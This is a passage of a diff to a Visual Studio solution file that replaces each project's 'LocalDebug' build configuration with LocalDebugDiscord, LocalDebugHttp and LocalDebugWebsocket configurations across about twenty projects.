{94D122AB-5F1A-4ACE-BDCC-FD508062CF2A}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {94D122AB-5F1A-4ACE-BDCC-FD508062CF2A}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {94D122AB-5F1A-4ACE-BDCC-FD508062CF2A}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {94D122AB-5F1A-4ACE-BDCC-FD508062CF2A}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {94D122AB-5F1A-4ACE-BDCC-FD508062CF2A}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {94D122AB-5F1A-4ACE-BDCC-FD508062CF2A}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {94D122AB-5F1A-4ACE-BDCC-FD508062CF2A}.Release|Any CPU.ActiveCfg = Release|Any CPU {94D122AB-5F1A-4ACE-BDCC-FD508062CF2A}.Release|Any CPU.Build.0 = Release|Any CPU {616BFB6A-1D0F-404C-B76C-B2F40A519C13}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {616BFB6A-1D0F-404C-B76C-B2F40A519C13}.Debug|Any CPU.Build.0 = Debug|Any CPU - {616BFB6A-1D0F-404C-B76C-B2F40A519C13}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {616BFB6A-1D0F-404C-B76C-B2F40A519C13}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {616BFB6A-1D0F-404C-B76C-B2F40A519C13}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {616BFB6A-1D0F-404C-B76C-B2F40A519C13}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {616BFB6A-1D0F-404C-B76C-B2F40A519C13}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {616BFB6A-1D0F-404C-B76C-B2F40A519C13}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {616BFB6A-1D0F-404C-B76C-B2F40A519C13}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {616BFB6A-1D0F-404C-B76C-B2F40A519C13}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {616BFB6A-1D0F-404C-B76C-B2F40A519C13}.Release|Any CPU.ActiveCfg = Release|Any CPU {616BFB6A-1D0F-404C-B76C-B2F40A519C13}.Release|Any CPU.Build.0 = Release|Any CPU {1B04A224-B536-4FAA-98BC-8F16B4169EF1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {1B04A224-B536-4FAA-98BC-8F16B4169EF1}.Debug|Any CPU.Build.0 = Debug|Any CPU - {1B04A224-B536-4FAA-98BC-8F16B4169EF1}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {1B04A224-B536-4FAA-98BC-8F16B4169EF1}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {1B04A224-B536-4FAA-98BC-8F16B4169EF1}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {1B04A224-B536-4FAA-98BC-8F16B4169EF1}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {1B04A224-B536-4FAA-98BC-8F16B4169EF1}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {1B04A224-B536-4FAA-98BC-8F16B4169EF1}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {1B04A224-B536-4FAA-98BC-8F16B4169EF1}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {1B04A224-B536-4FAA-98BC-8F16B4169EF1}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {1B04A224-B536-4FAA-98BC-8F16B4169EF1}.Release|Any CPU.ActiveCfg = Release|Any CPU {1B04A224-B536-4FAA-98BC-8F16B4169EF1}.Release|Any CPU.Build.0 = Release|Any CPU {65ADD468-0F5C-4CBD-B01A-1F1EFE9F9D8F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {65ADD468-0F5C-4CBD-B01A-1F1EFE9F9D8F}.Debug|Any CPU.Build.0 = Debug|Any CPU - {65ADD468-0F5C-4CBD-B01A-1F1EFE9F9D8F}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {65ADD468-0F5C-4CBD-B01A-1F1EFE9F9D8F}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {65ADD468-0F5C-4CBD-B01A-1F1EFE9F9D8F}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {65ADD468-0F5C-4CBD-B01A-1F1EFE9F9D8F}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {65ADD468-0F5C-4CBD-B01A-1F1EFE9F9D8F}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {65ADD468-0F5C-4CBD-B01A-1F1EFE9F9D8F}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {65ADD468-0F5C-4CBD-B01A-1F1EFE9F9D8F}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {65ADD468-0F5C-4CBD-B01A-1F1EFE9F9D8F}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {65ADD468-0F5C-4CBD-B01A-1F1EFE9F9D8F}.Release|Any CPU.ActiveCfg = Release|Any CPU {65ADD468-0F5C-4CBD-B01A-1F1EFE9F9D8F}.Release|Any CPU.Build.0 = Release|Any CPU {F2990C10-3A15-4E5B-9040-CBBDD4E61CFD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {F2990C10-3A15-4E5B-9040-CBBDD4E61CFD}.Debug|Any CPU.Build.0 = Debug|Any CPU - {F2990C10-3A15-4E5B-9040-CBBDD4E61CFD}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {F2990C10-3A15-4E5B-9040-CBBDD4E61CFD}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {F2990C10-3A15-4E5B-9040-CBBDD4E61CFD}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {F2990C10-3A15-4E5B-9040-CBBDD4E61CFD}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {F2990C10-3A15-4E5B-9040-CBBDD4E61CFD}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {F2990C10-3A15-4E5B-9040-CBBDD4E61CFD}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {F2990C10-3A15-4E5B-9040-CBBDD4E61CFD}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {F2990C10-3A15-4E5B-9040-CBBDD4E61CFD}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {F2990C10-3A15-4E5B-9040-CBBDD4E61CFD}.Release|Any CPU.ActiveCfg = Release|Any CPU {F2990C10-3A15-4E5B-9040-CBBDD4E61CFD}.Release|Any CPU.Build.0 = Release|Any CPU {4DBA49AB-04F1-426E-9A0D-2FB69B6C908B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {4DBA49AB-04F1-426E-9A0D-2FB69B6C908B}.Debug|Any CPU.Build.0 = Debug|Any CPU - {4DBA49AB-04F1-426E-9A0D-2FB69B6C908B}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {4DBA49AB-04F1-426E-9A0D-2FB69B6C908B}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {4DBA49AB-04F1-426E-9A0D-2FB69B6C908B}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {4DBA49AB-04F1-426E-9A0D-2FB69B6C908B}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {4DBA49AB-04F1-426E-9A0D-2FB69B6C908B}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {4DBA49AB-04F1-426E-9A0D-2FB69B6C908B}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {4DBA49AB-04F1-426E-9A0D-2FB69B6C908B}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {4DBA49AB-04F1-426E-9A0D-2FB69B6C908B}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {4DBA49AB-04F1-426E-9A0D-2FB69B6C908B}.Release|Any CPU.ActiveCfg = Release|Any CPU {4DBA49AB-04F1-426E-9A0D-2FB69B6C908B}.Release|Any CPU.Build.0 = Release|Any CPU {A72F35EA-1FF7-4333-B6A6-4FEC912D1450}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {A72F35EA-1FF7-4333-B6A6-4FEC912D1450}.Debug|Any CPU.Build.0 = Debug|Any CPU - {A72F35EA-1FF7-4333-B6A6-4FEC912D1450}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {A72F35EA-1FF7-4333-B6A6-4FEC912D1450}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {A72F35EA-1FF7-4333-B6A6-4FEC912D1450}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {A72F35EA-1FF7-4333-B6A6-4FEC912D1450}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {A72F35EA-1FF7-4333-B6A6-4FEC912D1450}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {A72F35EA-1FF7-4333-B6A6-4FEC912D1450}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {A72F35EA-1FF7-4333-B6A6-4FEC912D1450}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {A72F35EA-1FF7-4333-B6A6-4FEC912D1450}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {A72F35EA-1FF7-4333-B6A6-4FEC912D1450}.Release|Any CPU.ActiveCfg = Release|Any CPU {A72F35EA-1FF7-4333-B6A6-4FEC912D1450}.Release|Any CPU.Build.0 = Release|Any CPU {16AD2B69-0B0A-41F4-9679-E83F2FD45DDB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {16AD2B69-0B0A-41F4-9679-E83F2FD45DDB}.Debug|Any CPU.Build.0 = Debug|Any CPU - {16AD2B69-0B0A-41F4-9679-E83F2FD45DDB}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {16AD2B69-0B0A-41F4-9679-E83F2FD45DDB}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {16AD2B69-0B0A-41F4-9679-E83F2FD45DDB}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {16AD2B69-0B0A-41F4-9679-E83F2FD45DDB}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {16AD2B69-0B0A-41F4-9679-E83F2FD45DDB}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {16AD2B69-0B0A-41F4-9679-E83F2FD45DDB}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {16AD2B69-0B0A-41F4-9679-E83F2FD45DDB}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {16AD2B69-0B0A-41F4-9679-E83F2FD45DDB}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {16AD2B69-0B0A-41F4-9679-E83F2FD45DDB}.Release|Any CPU.ActiveCfg = Release|Any CPU {16AD2B69-0B0A-41F4-9679-E83F2FD45DDB}.Release|Any CPU.Build.0 = Release|Any CPU {67BDE95C-3702-41E4-8EFD-6665E19DD2B8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {67BDE95C-3702-41E4-8EFD-6665E19DD2B8}.Debug|Any CPU.Build.0 = Debug|Any CPU - {67BDE95C-3702-41E4-8EFD-6665E19DD2B8}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {67BDE95C-3702-41E4-8EFD-6665E19DD2B8}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {67BDE95C-3702-41E4-8EFD-6665E19DD2B8}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {67BDE95C-3702-41E4-8EFD-6665E19DD2B8}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {67BDE95C-3702-41E4-8EFD-6665E19DD2B8}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {67BDE95C-3702-41E4-8EFD-6665E19DD2B8}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {67BDE95C-3702-41E4-8EFD-6665E19DD2B8}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {67BDE95C-3702-41E4-8EFD-6665E19DD2B8}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {67BDE95C-3702-41E4-8EFD-6665E19DD2B8}.Release|Any CPU.ActiveCfg = Release|Any CPU {67BDE95C-3702-41E4-8EFD-6665E19DD2B8}.Release|Any CPU.Build.0 = Release|Any CPU {C4388017-1E89-4E37-B6F8-DD2E74375A1E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {C4388017-1E89-4E37-B6F8-DD2E74375A1E}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C4388017-1E89-4E37-B6F8-DD2E74375A1E}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {C4388017-1E89-4E37-B6F8-DD2E74375A1E}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {C4388017-1E89-4E37-B6F8-DD2E74375A1E}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {C4388017-1E89-4E37-B6F8-DD2E74375A1E}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {C4388017-1E89-4E37-B6F8-DD2E74375A1E}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {C4388017-1E89-4E37-B6F8-DD2E74375A1E}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {C4388017-1E89-4E37-B6F8-DD2E74375A1E}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {C4388017-1E89-4E37-B6F8-DD2E74375A1E}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {C4388017-1E89-4E37-B6F8-DD2E74375A1E}.Release|Any CPU.ActiveCfg = Release|Any CPU {C4388017-1E89-4E37-B6F8-DD2E74375A1E}.Release|Any CPU.Build.0 = Release|Any CPU {C05C3D0A-2945-46A6-BAAA-09D2B9B3AF78}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {C05C3D0A-2945-46A6-BAAA-09D2B9B3AF78}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C05C3D0A-2945-46A6-BAAA-09D2B9B3AF78}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {C05C3D0A-2945-46A6-BAAA-09D2B9B3AF78}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {C05C3D0A-2945-46A6-BAAA-09D2B9B3AF78}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {C05C3D0A-2945-46A6-BAAA-09D2B9B3AF78}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {C05C3D0A-2945-46A6-BAAA-09D2B9B3AF78}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {C05C3D0A-2945-46A6-BAAA-09D2B9B3AF78}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {C05C3D0A-2945-46A6-BAAA-09D2B9B3AF78}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {C05C3D0A-2945-46A6-BAAA-09D2B9B3AF78}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {C05C3D0A-2945-46A6-BAAA-09D2B9B3AF78}.Release|Any CPU.ActiveCfg = Release|Any CPU {C05C3D0A-2945-46A6-BAAA-09D2B9B3AF78}.Release|Any CPU.Build.0 = Release|Any CPU {CF759185-9514-4E41-BAA5-04E8A53CFD23}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {CF759185-9514-4E41-BAA5-04E8A53CFD23}.Debug|Any CPU.Build.0 = Debug|Any CPU - {CF759185-9514-4E41-BAA5-04E8A53CFD23}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {CF759185-9514-4E41-BAA5-04E8A53CFD23}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {CF759185-9514-4E41-BAA5-04E8A53CFD23}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {CF759185-9514-4E41-BAA5-04E8A53CFD23}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {CF759185-9514-4E41-BAA5-04E8A53CFD23}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {CF759185-9514-4E41-BAA5-04E8A53CFD23}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {CF759185-9514-4E41-BAA5-04E8A53CFD23}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {CF759185-9514-4E41-BAA5-04E8A53CFD23}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {CF759185-9514-4E41-BAA5-04E8A53CFD23}.Release|Any CPU.ActiveCfg = Release|Any CPU {CF759185-9514-4E41-BAA5-04E8A53CFD23}.Release|Any CPU.Build.0 = Release|Any CPU {3E787F37-2EC4-44DB-90A2-0D2E9C132417}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {3E787F37-2EC4-44DB-90A2-0D2E9C132417}.Debug|Any CPU.Build.0 = Debug|Any CPU - {3E787F37-2EC4-44DB-90A2-0D2E9C132417}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {3E787F37-2EC4-44DB-90A2-0D2E9C132417}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {3E787F37-2EC4-44DB-90A2-0D2E9C132417}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {3E787F37-2EC4-44DB-90A2-0D2E9C132417}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {3E787F37-2EC4-44DB-90A2-0D2E9C132417}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {3E787F37-2EC4-44DB-90A2-0D2E9C132417}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {3E787F37-2EC4-44DB-90A2-0D2E9C132417}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {3E787F37-2EC4-44DB-90A2-0D2E9C132417}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {3E787F37-2EC4-44DB-90A2-0D2E9C132417}.Release|Any CPU.ActiveCfg = Release|Any CPU {3E787F37-2EC4-44DB-90A2-0D2E9C132417}.Release|Any CPU.Build.0 = Release|Any CPU {B2F730A6-6672-44A5-82E7-9DD00806BAA1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {B2F730A6-6672-44A5-82E7-9DD00806BAA1}.Debug|Any CPU.Build.0 = Debug|Any CPU - {B2F730A6-6672-44A5-82E7-9DD00806BAA1}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {B2F730A6-6672-44A5-82E7-9DD00806BAA1}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {B2F730A6-6672-44A5-82E7-9DD00806BAA1}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {B2F730A6-6672-44A5-82E7-9DD00806BAA1}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {B2F730A6-6672-44A5-82E7-9DD00806BAA1}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {B2F730A6-6672-44A5-82E7-9DD00806BAA1}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {B2F730A6-6672-44A5-82E7-9DD00806BAA1}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {B2F730A6-6672-44A5-82E7-9DD00806BAA1}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {B2F730A6-6672-44A5-82E7-9DD00806BAA1}.Release|Any CPU.ActiveCfg = Release|Any CPU {B2F730A6-6672-44A5-82E7-9DD00806BAA1}.Release|Any CPU.Build.0 = Release|Any CPU {4461ED3A-BD34-4AF2-8879-97CC5B74C01D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {4461ED3A-BD34-4AF2-8879-97CC5B74C01D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {4461ED3A-BD34-4AF2-8879-97CC5B74C01D}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {4461ED3A-BD34-4AF2-8879-97CC5B74C01D}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {4461ED3A-BD34-4AF2-8879-97CC5B74C01D}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {4461ED3A-BD34-4AF2-8879-97CC5B74C01D}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {4461ED3A-BD34-4AF2-8879-97CC5B74C01D}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {4461ED3A-BD34-4AF2-8879-97CC5B74C01D}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {4461ED3A-BD34-4AF2-8879-97CC5B74C01D}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {4461ED3A-BD34-4AF2-8879-97CC5B74C01D}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {4461ED3A-BD34-4AF2-8879-97CC5B74C01D}.Release|Any CPU.ActiveCfg = Release|Any CPU {4461ED3A-BD34-4AF2-8879-97CC5B74C01D}.Release|Any CPU.Build.0 = Release|Any CPU {3B1F1FDF-F37B-4F01-AFAB-03759672C665}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {3B1F1FDF-F37B-4F01-AFAB-03759672C665}.Debug|Any CPU.Build.0 = Debug|Any CPU - {3B1F1FDF-F37B-4F01-AFAB-03759672C665}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {3B1F1FDF-F37B-4F01-AFAB-03759672C665}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {3B1F1FDF-F37B-4F01-AFAB-03759672C665}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {3B1F1FDF-F37B-4F01-AFAB-03759672C665}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {3B1F1FDF-F37B-4F01-AFAB-03759672C665}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {3B1F1FDF-F37B-4F01-AFAB-03759672C665}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {3B1F1FDF-F37B-4F01-AFAB-03759672C665}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {3B1F1FDF-F37B-4F01-AFAB-03759672C665}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {3B1F1FDF-F37B-4F01-AFAB-03759672C665}.Release|Any CPU.ActiveCfg = Release|Any CPU {3B1F1FDF-F37B-4F01-AFAB-03759672C665}.Release|Any CPU.Build.0 = Release|Any CPU {7AD05B04-E7C8-4FE7-98C4-A1FD86B97A91}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {7AD05B04-E7C8-4FE7-98C4-A1FD86B97A91}.Debug|Any CPU.Build.0 = Debug|Any CPU - {7AD05B04-E7C8-4FE7-98C4-A1FD86B97A91}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {7AD05B04-E7C8-4FE7-98C4-A1FD86B97A91}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {7AD05B04-E7C8-4FE7-98C4-A1FD86B97A91}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {7AD05B04-E7C8-4FE7-98C4-A1FD86B97A91}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {7AD05B04-E7C8-4FE7-98C4-A1FD86B97A91}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {7AD05B04-E7C8-4FE7-98C4-A1FD86B97A91}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {7AD05B04-E7C8-4FE7-98C4-A1FD86B97A91}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {7AD05B04-E7C8-4FE7-98C4-A1FD86B97A91}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {7AD05B04-E7C8-4FE7-98C4-A1FD86B97A91}.Release|Any CPU.ActiveCfg = Release|Any CPU {7AD05B04-E7C8-4FE7-98C4-A1FD86B97A91}.Release|Any CPU.Build.0 = Release|Any CPU {2BD9AF2A-4E2F-4019-AEC2-6D212C9B98DC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {2BD9AF2A-4E2F-4019-AEC2-6D212C9B98DC}.Debug|Any CPU.Build.0 = Debug|Any CPU - {2BD9AF2A-4E2F-4019-AEC2-6D212C9B98DC}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {2BD9AF2A-4E2F-4019-AEC2-6D212C9B98DC}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {2BD9AF2A-4E2F-4019-AEC2-6D212C9B98DC}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {2BD9AF2A-4E2F-4019-AEC2-6D212C9B98DC}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {2BD9AF2A-4E2F-4019-AEC2-6D212C9B98DC}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {2BD9AF2A-4E2F-4019-AEC2-6D212C9B98DC}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {2BD9AF2A-4E2F-4019-AEC2-6D212C9B98DC}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {2BD9AF2A-4E2F-4019-AEC2-6D212C9B98DC}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {2BD9AF2A-4E2F-4019-AEC2-6D212C9B98DC}.Release|Any CPU.ActiveCfg = Release|Any CPU {2BD9AF2A-4E2F-4019-AEC2-6D212C9B98DC}.Release|Any CPU.Build.0 = Release|Any CPU {DB7C855B-004A-42C7-A68B-FF4D7D95DAD8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {DB7C855B-004A-42C7-A68B-FF4D7D95DAD8}.Debug|Any CPU.Build.0 = Debug|Any CPU - {DB7C855B-004A-42C7-A68B-FF4D7D95DAD8}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {DB7C855B-004A-42C7-A68B-FF4D7D95DAD8}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {DB7C855B-004A-42C7-A68B-FF4D7D95DAD8}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {DB7C855B-004A-42C7-A68B-FF4D7D95DAD8}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {DB7C855B-004A-42C7-A68B-FF4D7D95DAD8}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {DB7C855B-004A-42C7-A68B-FF4D7D95DAD8}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {DB7C855B-004A-42C7-A68B-FF4D7D95DAD8}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {DB7C855B-004A-42C7-A68B-FF4D7D95DAD8}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {DB7C855B-004A-42C7-A68B-FF4D7D95DAD8}.Release|Any CPU.ActiveCfg = Release|Any CPU {DB7C855B-004A-42C7-A68B-FF4D7D95DAD8}.Release|Any CPU.Build.0 = Release|Any CPU {58670B32-4A68-4B31-8B77-391A099B5EC0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {58670B32-4A68-4B31-8B77-391A099B5EC0}.Debug|Any CPU.Build.0 = Debug|Any CPU - {58670B32-4A68-4B31-8B77-391A099B5EC0}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {58670B32-4A68-4B31-8B77-391A099B5EC0}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {58670B32-4A68-4B31-8B77-391A099B5EC0}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {58670B32-4A68-4B31-8B77-391A099B5EC0}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU 